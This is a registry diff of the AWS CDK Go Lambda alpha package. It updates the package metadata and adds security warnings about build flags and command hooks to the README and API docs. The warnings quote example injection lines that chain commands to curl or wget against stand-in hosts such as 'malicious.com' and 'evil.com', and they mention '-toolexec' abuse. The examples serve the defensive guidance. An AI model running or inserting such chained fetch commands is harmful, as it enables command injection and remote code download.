@aws-cdk/aws-lambda-go-alpha 2.221.1-alpha.0 → 2.223.0-alpha.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/.jsii CHANGED
@@ -8,7 +8,7 @@
8
8
  "url": "https://aws.amazon.com"
9
9
  },
10
10
  "dependencies": {
11
- "aws-cdk-lib": "^2.221.1",
11
+ "aws-cdk-lib": "^2.223.0",
12
12
  "constructs": "^10.0.0"
13
13
  },
14
14
  "dependencyClosure": {
@@ -3217,6 +3217,19 @@
3217
3217
  }
3218
3218
  }
3219
3219
  },
3220
+ "aws-cdk-lib.aws_rtbfabric": {
3221
+ "targets": {
3222
+ "dotnet": {
3223
+ "package": "Amazon.CDK.AWS.RTBFabric"
3224
+ },
3225
+ "java": {
3226
+ "package": "software.amazon.awscdk.services.rtbfabric"
3227
+ },
3228
+ "python": {
3229
+ "module": "aws_cdk.aws_rtbfabric"
3230
+ }
3231
+ }
3232
+ },
3220
3233
  "aws-cdk-lib.aws_rum": {
3221
3234
  "targets": {
3222
3235
  "dotnet": {
@@ -3334,6 +3347,19 @@
3334
3347
  }
3335
3348
  }
3336
3349
  },
3350
+ "aws-cdk-lib.aws_s3vectors": {
3351
+ "targets": {
3352
+ "dotnet": {
3353
+ "package": "Amazon.CDK.AWS.S3Vectors"
3354
+ },
3355
+ "java": {
3356
+ "package": "software.amazon.awscdk.services.s3vectors"
3357
+ },
3358
+ "python": {
3359
+ "module": "aws_cdk.aws_s3vectors"
3360
+ }
3361
+ }
3362
+ },
3337
3363
  "aws-cdk-lib.aws_sagemaker": {
3338
3364
  "targets": {
3339
3365
  "dotnet": {
@@ -4103,7 +4129,7 @@
4103
4129
  },
4104
4130
  "name": "@aws-cdk/aws-lambda-go-alpha",
4105
4131
  "readme": {
4106
- "markdown": "# Amazon Lambda Golang Library\n<!--BEGIN STABILITY BANNER-->\n\n---\n\n![cdk-constructs: Experimental](https://img.shields.io/badge/cdk--constructs-experimental-important.svg?style=for-the-badge)\n\n> The APIs of higher level constructs in this module are experimental and under active development.\n> They are subject to non-backward compatible changes or removal in any future version. These are\n> not subject to the [Semantic Versioning](https://semver.org/) model and breaking changes will be\n> announced in the release notes. This means that while you may use them, you may need to update\n> your source code when upgrading to a newer version of this package.\n\n---\n\n<!--END STABILITY BANNER-->\n\nThis library provides constructs for Golang Lambda functions.\n\nTo use this module you will either need to have `Go` installed (`go1.11` or later) or `Docker` installed.\nSee [Local Bundling](#local-bundling)/[Docker Bundling](#docker-bundling) for more information.\n\nThis module also requires that your Golang application is\nusing a Go version >= 1.11 and is using [Go modules](https://golang.org/ref/mod).\n\n## Go Function\n\nDefine a `GoFunction`:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'lambda-app/cmd/api',\n});\n```\n\nBy default, if `entry` points to a directory, then the construct will assume there is a Go entry file (i.e. `main.go`).\nLet's look at an example Go project:\n\n```bash\nlambda-app\n├── cmd\n│   └── api\n│   └── main.go\n├── go.mod\n├── go.sum\n├── pkg\n│   ├── auth\n│   │   └── auth.go\n│   └── middleware\n│   └── middleware.go\n└── vendor\n ├── github.com\n │   └── aws\n │   └── aws-lambda-go\n └── modules.txt\n```\n\nWith the above layout I could either provide the `entry` as `lambda-app/cmd/api` or `lambda-app/cmd/api/main.go`, either will work.\nWhen the construct builds the golang binary this will be translated `go build ./cmd/api` & `go build ./cmd/api/main.go` respectively.\nThe construct will figure out where it needs to run the `go build` command from, in this example it would be from\nthe `lambda-app` directory. It does this by determining the [mod file path](#mod-file-path), which is explained in the\nnext section.\n\n### mod file path\n\nThe `GoFunction` tries to automatically determine your project root, that is\nthe root of your golang project. This is usually where the top level `go.mod` file or\n`vendor` folder of your project is located. When bundling in a Docker container, the\n`moduleDir` is used as the source (`/asset-input`) for the volume mounted in\nthe container.\n\nThe CDK will walk up parent folders starting from\nthe current working directory until it finds a folder containing a `go.mod` file.\n\nAlternatively, you can specify the `moduleDir` prop manually. In this case you\nneed to ensure that this path includes `entry` and any module/dependencies used\nby your function. Otherwise bundling will fail.\n\n## Runtime\n\nThe `GoFunction` can be used with either the `GO_1_X` runtime or the provided runtimes (`PROVIDED`/`PROVIDED_AL2`).\nBy default it will use the `PROVIDED_AL2` runtime. The `GO_1_X` runtime does not support things like\n[Lambda Extensions](https://docs.aws.amazon.com/lambda/latest/dg/using-extensions.html), whereas the provided runtimes do.\nThe [aws-lambda-go](https://github.com/aws/aws-lambda-go) library has built in support for the provided runtime as long as\nyou name the handler `bootstrap` (which we do by default).\n\n## Dependencies\n\nThe construct will attempt to figure out how to handle the dependencies for your function. It will\ndo this by determining whether or not you are vendoring your dependencies. It makes this determination\nby looking to see if there is a `vendor` folder at the [mod file path](#mod-file-path).\n\nWith this information the construct can determine what commands to run. You will\ngenerally fall into two scenarios:\n\n1. You are using vendoring (indicated by the presence of a `vendor` folder)\n In this case `go build` will be run with `-mod=vendor` set\n2. You are not using vendoring (indicated by the absence of a `vendor` folder)\n If you are not vendoring then `go build` will be run without `-mod=vendor`\n since the default behavior is to download dependencies\n\nAll other properties of `lambda.Function` are supported, see also the [AWS Lambda construct library](https://github.com/aws/aws-cdk/tree/main/packages/aws-cdk-lib/aws-lambda).\n\n## Environment\n\nBy default the following environment variables are set for you:\n\n* `GOOS=linux`\n* `GOARCH`: based on the target architecture of the Lambda function\n* `GO111MODULE=on`\n\nUse the `environment` prop to define additional environment variables when go runs:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n environment: {\n HELLO: 'WORLD',\n },\n },\n});\n```\n\n## Local Bundling\n\nIf `Go` is installed locally and the version is >= `go1.11` then it will be used to bundle your code in your environment. Otherwise, bundling will happen in a [Lambda compatible Docker container](https://gallery.ecr.aws/sam/build-provided.al2023) with the Docker platform based on the target architecture of the Lambda function.\n\nFor macOS the recommended approach is to install `Go` as Docker volume performance is really poor.\n\n`Go` can be installed by following the [installation docs](https://golang.org/doc/install).\n\n\n## Docker\n\nTo force bundling in a docker container even if `Go` is available in your environment, set the `forceDockerBundling` prop to `true`. This is useful if you want to make sure that your function is built in a consistent Lambda compatible environment.\n\nUse the `buildArgs` prop to pass build arguments when building the bundling image:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n buildArgs: {\n HTTPS_PROXY: 'https://127.0.0.1:3001',\n },\n },\n});\n```\n\nUse the `bundling.dockerImage` prop to use a custom bundling image:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),\n },\n});\n```\n\nUse the `bundling.goBuildFlags` prop to pass additional build flags to `go build`:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n goBuildFlags: ['-ldflags \"-s -w\"'],\n },\n});\n```\n\nBy default this construct doesn't use any Go module proxies. This is contrary to\na standard Go installation, which would use the Google proxy by default. To\nrecreate that behavior, do the following:\n\n```ts\nnew go.GoFunction(this, 'GoFunction', {\n entry: 'app/cmd/api',\n bundling: {\n goProxies: [go.GoFunction.GOOGLE_GOPROXY, 'direct'],\n },\n});\n```\n\nYou can set additional Docker options to configure the build environment:\n\n ```ts\nnew go.GoFunction(this, 'GoFunction', {\n entry: 'app/cmd/api',\n bundling: {\n network: 'host',\n securityOpt: 'no-new-privileges',\n user: 'user:group',\n volumesFrom: ['777f7dc92da7'],\n volumes: [{ hostPath: '/host-path', containerPath: '/container-path' }],\n },\n});\n```\n\n## Command hooks\n\nIt is possible to run additional commands by specifying the `commandHooks` prop:\n\n```text\n// This example only available in TypeScript\n// Run additional commands on a GoFunction via `commandHooks` property\nnew go.GoFunction(this, 'handler', {\n bundling: {\n commandHooks: {\n // run tests\n beforeBundling(inputDir: string): string[] {\n return ['go test ./cmd/api -v'];\n },\n // ...\n },\n },\n});\n```\n\nThe following hooks are available:\n\n* `beforeBundling`: runs before all bundling commands\n* `afterBundling`: runs after all bundling commands\n\nThey all receive the directory containing the `go.mod` file (`inputDir`) and the\ndirectory where the bundled asset will be output (`outputDir`). They must return\nan array of commands to run. Commands are chained with `&&`.\n\nThe commands will run in the environment in which bundling occurs: inside the\ncontainer for Docker bundling or on the host OS for local bundling.\n\n## Additional considerations\n\nDepending on how you structure your Golang application, you may want to change the `assetHashType` parameter.\nBy default this parameter is set to `AssetHashType.OUTPUT` which means that the CDK will calculate the asset hash\n(and determine whether or not your code has changed) based on the Golang executable that is created.\n\nIf you specify `AssetHashType.SOURCE`, the CDK will calculate the asset hash by looking at the folder\nthat contains your `go.mod` file. If you are deploying a single Lambda function, or you want to redeploy\nall of your functions if anything changes, then `AssetHashType.SOURCE` will probably work.\n\n\nFor example, if my app looked like this:\n\n```bash\nlambda-app\n├── cmd\n│   └── api\n│   └── main.go\n├── go.mod\n├── go.sum\n└── pkg\n    └── auth\n       └── auth.go\n```\n\nWith this structure I would provide the `entry` as `cmd/api` which means that the CDK\nwill determine that the protect root is `lambda-app` (it contains the `go.mod` file).\nSince I only have a single Lambda function, and any update to files within the `lambda-app` directory\nshould trigger a new deploy, I could specify `AssetHashType.SOURCE`.\n\nOn the other hand, if I had a project that deployed multiple Lambda functions, for example:\n\n```bash\nlambda-app\n├── cmd\n│   ├── api\n│   │   └── main.go\n│   └── anotherApi\n│   └── main.go\n├── go.mod\n├── go.sum\n└── pkg\n    ├── auth\n    │   └── auth.go\n    └── middleware\n    └── middleware.go\n```\n\nThen I would most likely want `AssetHashType.OUTPUT`. With `OUTPUT`\nthe CDK will only recognize changes if the Golang executable has changed,\nand Go only includes dependencies that are used in the executable. So in this case\nif `cmd/api` used the `auth` & `middleware` packages, but `cmd/anotherApi` did not, then\nan update to `auth` or `middleware` would only trigger an update to the `cmd/api` Lambda\nFunction.\n\n## Docker based bundling in complex Docker configurations\n\nBy default the input and output of Docker based bundling is handled via bind mounts.\nIn situtations where this does not work, like Docker-in-Docker setups or when using a remote Docker socket, you can configure an alternative, but slower, variant that also works in these situations.\n\n ```ts\nnew go.GoFunction(this, 'GoFunction', {\n entry: 'app/cmd/api',\n bundling: {\n bundlingFileAccess: BundlingFileAccess.VOLUME_COPY,\n },\n});\n```\n"
4132
+ "markdown": "# Amazon Lambda Golang Library\n<!--BEGIN STABILITY BANNER-->\n\n---\n\n![cdk-constructs: Experimental](https://img.shields.io/badge/cdk--constructs-experimental-important.svg?style=for-the-badge)\n\n> The APIs of higher level constructs in this module are experimental and under active development.\n> They are subject to non-backward compatible changes or removal in any future version. These are\n> not subject to the [Semantic Versioning](https://semver.org/) model and breaking changes will be\n> announced in the release notes. This means that while you may use them, you may need to update\n> your source code when upgrading to a newer version of this package.\n\n---\n\n<!--END STABILITY BANNER-->\n\nThis library provides constructs for Golang Lambda functions.\n\nTo use this module you will either need to have `Go` installed (`go1.11` or later) or `Docker` installed.\nSee [Local Bundling](#local-bundling)/[Docker Bundling](#docker-bundling) for more information.\n\nThis module also requires that your Golang application is\nusing a Go version >= 1.11 and is using [Go modules](https://golang.org/ref/mod).\n\n## Go Function\n\nDefine a `GoFunction`:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'lambda-app/cmd/api',\n});\n```\n\nBy default, if `entry` points to a directory, then the construct will assume there is a Go entry file (i.e. `main.go`).\nLet's look at an example Go project:\n\n```bash\nlambda-app\n├── cmd\n│   └── api\n│   └── main.go\n├── go.mod\n├── go.sum\n├── pkg\n│   ├── auth\n│   │   └── auth.go\n│   └── middleware\n│   └── middleware.go\n└── vendor\n ├── github.com\n │   └── aws\n │   └── aws-lambda-go\n └── modules.txt\n```\n\nWith the above layout I could either provide the `entry` as `lambda-app/cmd/api` or `lambda-app/cmd/api/main.go`, either will work.\nWhen the construct builds the golang binary this will be translated `go build ./cmd/api` & `go build ./cmd/api/main.go` respectively.\nThe construct will figure out where it needs to run the `go build` command from, in this example it would be from\nthe `lambda-app` directory. It does this by determining the [mod file path](#mod-file-path), which is explained in the\nnext section.\n\n### mod file path\n\nThe `GoFunction` tries to automatically determine your project root, that is\nthe root of your golang project. This is usually where the top level `go.mod` file or\n`vendor` folder of your project is located. When bundling in a Docker container, the\n`moduleDir` is used as the source (`/asset-input`) for the volume mounted in\nthe container.\n\nThe CDK will walk up parent folders starting from\nthe current working directory until it finds a folder containing a `go.mod` file.\n\nAlternatively, you can specify the `moduleDir` prop manually. In this case you\nneed to ensure that this path includes `entry` and any module/dependencies used\nby your function. Otherwise bundling will fail.\n\n## Runtime\n\nThe `GoFunction` can be used with either the `GO_1_X` runtime or the provided runtimes (`PROVIDED`/`PROVIDED_AL2`).\nBy default it will use the `PROVIDED_AL2` runtime. The `GO_1_X` runtime does not support things like\n[Lambda Extensions](https://docs.aws.amazon.com/lambda/latest/dg/using-extensions.html), whereas the provided runtimes do.\nThe [aws-lambda-go](https://github.com/aws/aws-lambda-go) library has built in support for the provided runtime as long as\nyou name the handler `bootstrap` (which we do by default).\n\n## Dependencies\n\nThe construct will attempt to figure out how to handle the dependencies for your function. It will\ndo this by determining whether or not you are vendoring your dependencies. It makes this determination\nby looking to see if there is a `vendor` folder at the [mod file path](#mod-file-path).\n\nWith this information the construct can determine what commands to run. You will\ngenerally fall into two scenarios:\n\n1. You are using vendoring (indicated by the presence of a `vendor` folder)\n In this case `go build` will be run with `-mod=vendor` set\n2. You are not using vendoring (indicated by the absence of a `vendor` folder)\n If you are not vendoring then `go build` will be run without `-mod=vendor`\n since the default behavior is to download dependencies\n\nAll other properties of `lambda.Function` are supported, see also the [AWS Lambda construct library](https://github.com/aws/aws-cdk/tree/main/packages/aws-cdk-lib/aws-lambda).\n\n## Environment\n\nBy default the following environment variables are set for you:\n\n* `GOOS=linux`\n* `GOARCH`: based on the target architecture of the Lambda function\n* `GO111MODULE=on`\n\nUse the `environment` prop to define additional environment variables when go runs:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n environment: {\n HELLO: 'WORLD',\n },\n },\n});\n```\n\n## Local Bundling\n\nIf `Go` is installed locally and the version is >= `go1.11` then it will be used to bundle your code in your environment. Otherwise, bundling will happen in a [Lambda compatible Docker container](https://gallery.ecr.aws/sam/build-provided.al2023) with the Docker platform based on the target architecture of the Lambda function.\n\nFor macOS the recommended approach is to install `Go` as Docker volume performance is really poor.\n\n`Go` can be installed by following the [installation docs](https://golang.org/doc/install).\n\n\n## Docker\n\nTo force bundling in a docker container even if `Go` is available in your environment, set the `forceDockerBundling` prop to `true`. This is useful if you want to make sure that your function is built in a consistent Lambda compatible environment.\n\nUse the `buildArgs` prop to pass build arguments when building the bundling image:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n buildArgs: {\n HTTPS_PROXY: 'https://127.0.0.1:3001',\n },\n },\n});\n```\n\nUse the `bundling.dockerImage` prop to use a custom bundling image:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),\n },\n});\n```\n\nUse the `bundling.goBuildFlags` prop to pass additional build flags to `go build`:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n goBuildFlags: ['-ldflags \"-s -w\"'],\n },\n});\n```\n\n**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.\n\nBy default this construct doesn't use any Go module proxies. This is contrary to\na standard Go installation, which would use the Google proxy by default. To\nrecreate that behavior, do the following:\n\n```ts\nnew go.GoFunction(this, 'GoFunction', {\n entry: 'app/cmd/api',\n bundling: {\n goProxies: [go.GoFunction.GOOGLE_GOPROXY, 'direct'],\n },\n});\n```\n\nYou can set additional Docker options to configure the build environment:\n\n ```ts\nnew go.GoFunction(this, 'GoFunction', {\n entry: 'app/cmd/api',\n bundling: {\n network: 'host',\n securityOpt: 'no-new-privileges',\n user: 'user:group',\n volumesFrom: ['777f7dc92da7'],\n volumes: [{ hostPath: '/host-path', containerPath: '/container-path' }],\n },\n});\n```\n\n## Command hooks\n\nIt is possible to run additional commands by specifying the `commandHooks` prop:\n\n```ts\n// Run additional commands on a GoFunction via `commandHooks` property\nnew go.GoFunction(this, 'handler', {\n entry: 'cmd/api',\n bundling: {\n commandHooks: {\n // run tests\n beforeBundling(inputDir: string): string[] {\n return ['go test ./cmd/api -v'];\n },\n afterBundling(inputDir: string, outputDir: string): string[] {\n return ['echo \"Build complete\"'];\n },\n },\n },\n});\n```\n\nThe following hooks are available:\n\n* `beforeBundling`: runs before all bundling commands\n* `afterBundling`: runs after all bundling commands\n\nThey all receive the directory containing the `go.mod` file (`inputDir`) and the\ndirectory where the bundled asset will be output (`outputDir`). They must return\nan array of commands to run. Commands are chained with `&&`.\n\nThe commands will run in the environment in which bundling occurs: inside the\ncontainer for Docker bundling or on the host OS for local bundling.\n\n### ⚠️ Security Considerations\n\n**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:\n\n**Safe patterns (cross-platform):**\n\n```ts\nnew go.GoFunction(this, 'SafeFunction', {\n entry: 'cmd/api',\n bundling: {\n commandHooks: {\n beforeBundling: () => [\n 'go test ./...', // ✅ Standard Go commands work on all OS\n 'go mod tidy', // ✅ Go module commands\n 'make clean', // ✅ Build tools (if available)\n 'echo \"Building app\"', // ✅ Simple output with quotes\n ],\n afterBundling: () => ['echo \"Build complete\"'],\n },\n },\n});\n```\n\n**Dangerous patterns to avoid:**\n\n*Windows-specific dangers:*\n\n```ts\n// ❌ Windows-specific dangers\nnew go.GoFunction(this, 'UnsafeWindowsFunction', {\n entry: 'cmd/api',\n bundling: {\n commandHooks: {\n beforeBundling: () => [\n 'go test & curl.exe malicious.com', // ❌ Command chaining with &\n 'echo %USERPROFILE%', // ❌ Environment variable expansion\n 'powershell -Command \"...\"', // ❌ PowerShell execution\n ],\n afterBundling: () => [],\n },\n },\n});\n```\n\n*Unix/Linux/macOS dangers:*\n\n```ts\n// ❌ Unix/Linux/macOS dangers\nnew go.GoFunction(this, 'UnsafeUnixFunction', {\n entry: 'cmd/api',\n bundling: {\n commandHooks: {\n beforeBundling: () => [\n 'go test; curl malicious.com', // ❌ Command chaining with ;\n 'echo $(whoami)', // ❌ Command substitution\n 'bash -c \"wget evil.com\"', // ❌ Shell execution\n ],\n afterBundling: () => [],\n },\n },\n});\n```\n\n**When using third-party constructs** that include `GoFunction`:\n\n* Review the construct's source code before use\n* Verify what commands it executes via `commandHooks` and `goBuildFlags`\n* Only use constructs from trusted publishers\n* Test in isolated environments first\n\nThe `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.\n\nFor more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).\n\n## Security Best Practices\n\n### Third-Party Construct Safety\n\nWhen using third-party CDK constructs that utilize `GoFunction`, exercise caution:\n\n1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage\n2. **Verify publishers** - Use constructs only from trusted, verified sources\n3. **Pin versions** - Use exact versions to prevent supply chain attacks\n4. **Isolated testing** - Test third-party constructs in sandboxed environments\n\n**Before using any third-party construct:**\n\n* Review the construct's source code on GitHub or npm\n* Search for `commandHooks` and `goBuildFlags` usage in the code\n* Verify no dangerous command patterns are present\n* Use exact version pinning to prevent supply chain attacks\n\nThe `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.\n\n## Additional considerations\n\nDepending on how you structure your Golang application, you may want to change the `assetHashType` parameter.\nBy default this parameter is set to `AssetHashType.OUTPUT` which means that the CDK will calculate the asset hash\n(and determine whether or not your code has changed) based on the Golang executable that is created.\n\nIf you specify `AssetHashType.SOURCE`, the CDK will calculate the asset hash by looking at the folder\nthat contains your `go.mod` file. If you are deploying a single Lambda function, or you want to redeploy\nall of your functions if anything changes, then `AssetHashType.SOURCE` will probably work.\n\n\nFor example, if my app looked like this:\n\n```bash\nlambda-app\n├── cmd\n│   └── api\n│   └── main.go\n├── go.mod\n├── go.sum\n└── pkg\n    └── auth\n       └── auth.go\n```\n\nWith this structure I would provide the `entry` as `cmd/api` which means that the CDK\nwill determine that the protect root is `lambda-app` (it contains the `go.mod` file).\nSince I only have a single Lambda function, and any update to files within the `lambda-app` directory\nshould trigger a new deploy, I could specify `AssetHashType.SOURCE`.\n\nOn the other hand, if I had a project that deployed multiple Lambda functions, for example:\n\n```bash\nlambda-app\n├── cmd\n│   ├── api\n│   │   └── main.go\n│   └── anotherApi\n│   └── main.go\n├── go.mod\n├── go.sum\n└── pkg\n    ├── auth\n    │   └── auth.go\n    └── middleware\n    └── middleware.go\n```\n\nThen I would most likely want `AssetHashType.OUTPUT`. With `OUTPUT`\nthe CDK will only recognize changes if the Golang executable has changed,\nand Go only includes dependencies that are used in the executable. So in this case\nif `cmd/api` used the `auth` & `middleware` packages, but `cmd/anotherApi` did not, then\nan update to `auth` or `middleware` would only trigger an update to the `cmd/api` Lambda\nFunction.\n\n## Docker based bundling in complex Docker configurations\n\nBy default the input and output of Docker based bundling is handled via bind mounts.\nIn situtations where this does not work, like Docker-in-Docker setups or when using a remote Docker socket, you can configure an alternative, but slower, variant that also works in these situations.\n\n ```ts\nnew go.GoFunction(this, 'GoFunction', {\n entry: 'app/cmd/api',\n bundling: {\n bundlingFileAccess: BundlingFileAccess.VOLUME_COPY,\n },\n});\n```\n"
4107
4133
  },
4108
4134
  "repository": {
4109
4135
  "directory": "packages/@aws-cdk/aws-lambda-go-alpha",
@@ -4176,7 +4202,7 @@
4176
4202
  "immutable": true,
4177
4203
  "locationInModule": {
4178
4204
  "filename": "lib/types.ts",
4179
- "line": 75
4205
+ "line": 80
4180
4206
  },
4181
4207
  "name": "assetHash",
4182
4208
  "optional": true,
@@ -4195,7 +4221,7 @@
4195
4221
  "immutable": true,
4196
4222
  "locationInModule": {
4197
4223
  "filename": "lib/types.ts",
4198
- "line": 59
4224
+ "line": 64
4199
4225
  },
4200
4226
  "name": "assetHashType",
4201
4227
  "optional": true,
@@ -4213,7 +4239,7 @@
4213
4239
  "immutable": true,
4214
4240
  "locationInModule": {
4215
4241
  "filename": "lib/types.ts",
4216
- "line": 37
4242
+ "line": 42
4217
4243
  },
4218
4244
  "name": "buildArgs",
4219
4245
  "optional": true,
@@ -4236,7 +4262,7 @@
4236
4262
  "immutable": true,
4237
4263
  "locationInModule": {
4238
4264
  "filename": "lib/types.ts",
4239
- "line": 119
4265
+ "line": 128
4240
4266
  },
4241
4267
  "name": "bundlingFileAccess",
4242
4268
  "optional": true,
@@ -4255,7 +4281,7 @@
4255
4281
  "immutable": true,
4256
4282
  "locationInModule": {
4257
4283
  "filename": "lib/types.ts",
4258
- "line": 91
4284
+ "line": 100
4259
4285
  },
4260
4286
  "name": "cgoEnabled",
4261
4287
  "optional": true,
@@ -4267,13 +4293,14 @@
4267
4293
  "abstract": true,
4268
4294
  "docs": {
4269
4295
  "default": "- do not run additional commands",
4296
+ "remarks": "⚠️ **Security Warning**: Commands are executed directly in the shell environment.\nOnly use trusted commands from verified sources. Avoid shell metacharacters\nthat could enable command injection attacks.",
4270
4297
  "stability": "experimental",
4271
4298
  "summary": "Command hooks."
4272
4299
  },
4273
4300
  "immutable": true,
4274
4301
  "locationInModule": {
4275
4302
  "filename": "lib/types.ts",
4276
- "line": 82
4303
+ "line": 91
4277
4304
  },
4278
4305
  "name": "commandHooks",
4279
4306
  "optional": true,
@@ -4324,14 +4351,14 @@
4324
4351
  "abstract": true,
4325
4352
  "docs": {
4326
4353
  "default": "- none",
4327
- "remarks": "For example:\n['ldflags \"-s -w\"']",
4354
+ "remarks": "For example:\n['ldflags \"-s -w\"']\n\n⚠️ **Security Warning**: These flags are passed directly to the Go build command.\nOnly use trusted values as they can execute arbitrary commands during bundling.\nAvoid flags like `-toolexec` with untrusted arguments, and be cautious with\nthird-party CDK constructs that may contain malicious build flags.",
4328
4355
  "stability": "experimental",
4329
4356
  "summary": "List of additional flags to use while building."
4330
4357
  },
4331
4358
  "immutable": true,
4332
4359
  "locationInModule": {
4333
4360
  "filename": "lib/types.ts",
4334
- "line": 30
4361
+ "line": 35
4335
4362
  },
4336
4363
  "name": "goBuildFlags",
4337
4364
  "optional": true,
@@ -4355,7 +4382,7 @@
4355
4382
  "immutable": true,
4356
4383
  "locationInModule": {
4357
4384
  "filename": "lib/types.ts",
4358
- "line": 113
4385
+ "line": 122
4359
4386
  },
4360
4387
  "name": "goProxies",
4361
4388
  "optional": true,
@@ -4377,7 +4404,7 @@
4377
4404
  "docs": {
4378
4405
  "stability": "experimental",
4379
4406
  "summary": "A Golang Lambda function.",
4380
- "example": "new go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),\n },\n});",
4407
+ "example": "new go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n environment: {\n HELLO: 'WORLD',\n },\n },\n});",
4381
4408
  "custom": {
4382
4409
  "exampleMetadata": "infused"
4383
4410
  }
@@ -4389,7 +4416,7 @@
4389
4416
  },
4390
4417
  "locationInModule": {
4391
4418
  "filename": "lib/function.ts",
4392
- "line": 84
4419
+ "line": 85
4393
4420
  },
4394
4421
  "parameters": [
4395
4422
  {
@@ -4415,7 +4442,7 @@
4415
4442
  "kind": "class",
4416
4443
  "locationInModule": {
4417
4444
  "filename": "lib/function.ts",
4418
- "line": 75
4445
+ "line": 76
4419
4446
  },
4420
4447
  "name": "GoFunction",
4421
4448
  "properties": [
@@ -4428,7 +4455,7 @@
4428
4455
  "immutable": true,
4429
4456
  "locationInModule": {
4430
4457
  "filename": "lib/function.ts",
4431
- "line": 82
4458
+ "line": 83
4432
4459
  },
4433
4460
  "name": "GOOGLE_GOPROXY",
4434
4461
  "static": true,
@@ -4445,7 +4472,7 @@
4445
4472
  "immutable": true,
4446
4473
  "locationInModule": {
4447
4474
  "filename": "lib/function.ts",
4448
- "line": 78
4475
+ "line": 79
4449
4476
  },
4450
4477
  "name": "PROPERTY_INJECTION_ID",
4451
4478
  "overrides": "aws-cdk-lib.aws_lambda.Function",
@@ -4463,7 +4490,7 @@
4463
4490
  "docs": {
4464
4491
  "stability": "experimental",
4465
4492
  "summary": "Properties for a GolangFunction.",
4466
- "example": "new go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),\n },\n});",
4493
+ "example": "new go.GoFunction(this, 'handler', {\n entry: 'app/cmd/api',\n bundling: {\n environment: {\n HELLO: 'WORLD',\n },\n },\n});",
4467
4494
  "custom": {
4468
4495
  "exampleMetadata": "infused"
4469
4496
  }
@@ -4475,7 +4502,7 @@
4475
4502
  "kind": "interface",
4476
4503
  "locationInModule": {
4477
4504
  "filename": "lib/function.ts",
4478
- "line": 14
4505
+ "line": 15
4479
4506
  },
4480
4507
  "name": "GoFunctionProps",
4481
4508
  "properties": [
@@ -4489,7 +4516,7 @@
4489
4516
  "immutable": true,
4490
4517
  "locationInModule": {
4491
4518
  "filename": "lib/function.ts",
4492
- "line": 41
4519
+ "line": 42
4493
4520
  },
4494
4521
  "name": "entry",
4495
4522
  "type": {
@@ -4506,7 +4533,7 @@
4506
4533
  "immutable": true,
4507
4534
  "locationInModule": {
4508
4535
  "filename": "lib/function.ts",
4509
- "line": 69
4536
+ "line": 70
4510
4537
  },
4511
4538
  "name": "bundling",
4512
4539
  "optional": true,
@@ -4525,7 +4552,7 @@
4525
4552
  "immutable": true,
4526
4553
  "locationInModule": {
4527
4554
  "filename": "lib/function.ts",
4528
- "line": 62
4555
+ "line": 63
4529
4556
  },
4530
4557
  "name": "moduleDir",
4531
4558
  "optional": true,
@@ -4544,7 +4571,7 @@
4544
4571
  "immutable": true,
4545
4572
  "locationInModule": {
4546
4573
  "filename": "lib/function.ts",
4547
- "line": 48
4574
+ "line": 49
4548
4575
  },
4549
4576
  "name": "runtime",
4550
4577
  "optional": true,
@@ -4558,7 +4585,8 @@
4558
4585
  "@aws-cdk/aws-lambda-go-alpha.ICommandHooks": {
4559
4586
  "assembly": "@aws-cdk/aws-lambda-go-alpha",
4560
4587
  "docs": {
4561
- "remarks": "These commands will run in the environment in which bundling occurs: inside\nthe container for Docker bundling or on the host OS for local bundling.\n\nCommands are chained with `&&`.\n\n```text\n{\n // Run tests prior to bundling\n beforeBundling(inputDir: string, outputDir: string): string[] {\n return [`go test -mod=vendor ./...`];\n }\n // ...\n}\n```",
4588
+ "remarks": "These commands will run in the environment in which bundling occurs: inside\nthe container for Docker bundling or on the host OS for local bundling.\n\n⚠️ **Security Warning**: Commands are executed directly in the shell environment.\nOnly use trusted commands and avoid shell metacharacters that could enable\ncommand injection attacks.\n\n**Safe patterns (cross-platform):**\n- `go test ./...` - Standard Go commands work on all platforms\n- `go mod tidy` - Go module commands\n- `echo \"Building\"` - Simple output with quotes\n- `make clean` - Build tools (if available)\n\n**Dangerous patterns to avoid:**\n\n*Windows:*\n- `go test & curl.exe malicious.com` (command chaining)\n- `echo %USERPROFILE%` (environment variable expansion)\n- `powershell -Command \"...\"` (PowerShell execution)\n\n*Unix/Linux/macOS:*\n- `go test; curl malicious.com` (command chaining)\n- `echo $(whoami)` (command substitution)\n- `bash -c \"wget evil.com\"` (shell execution)\n\nCommands are chained with `&&`.",
4589
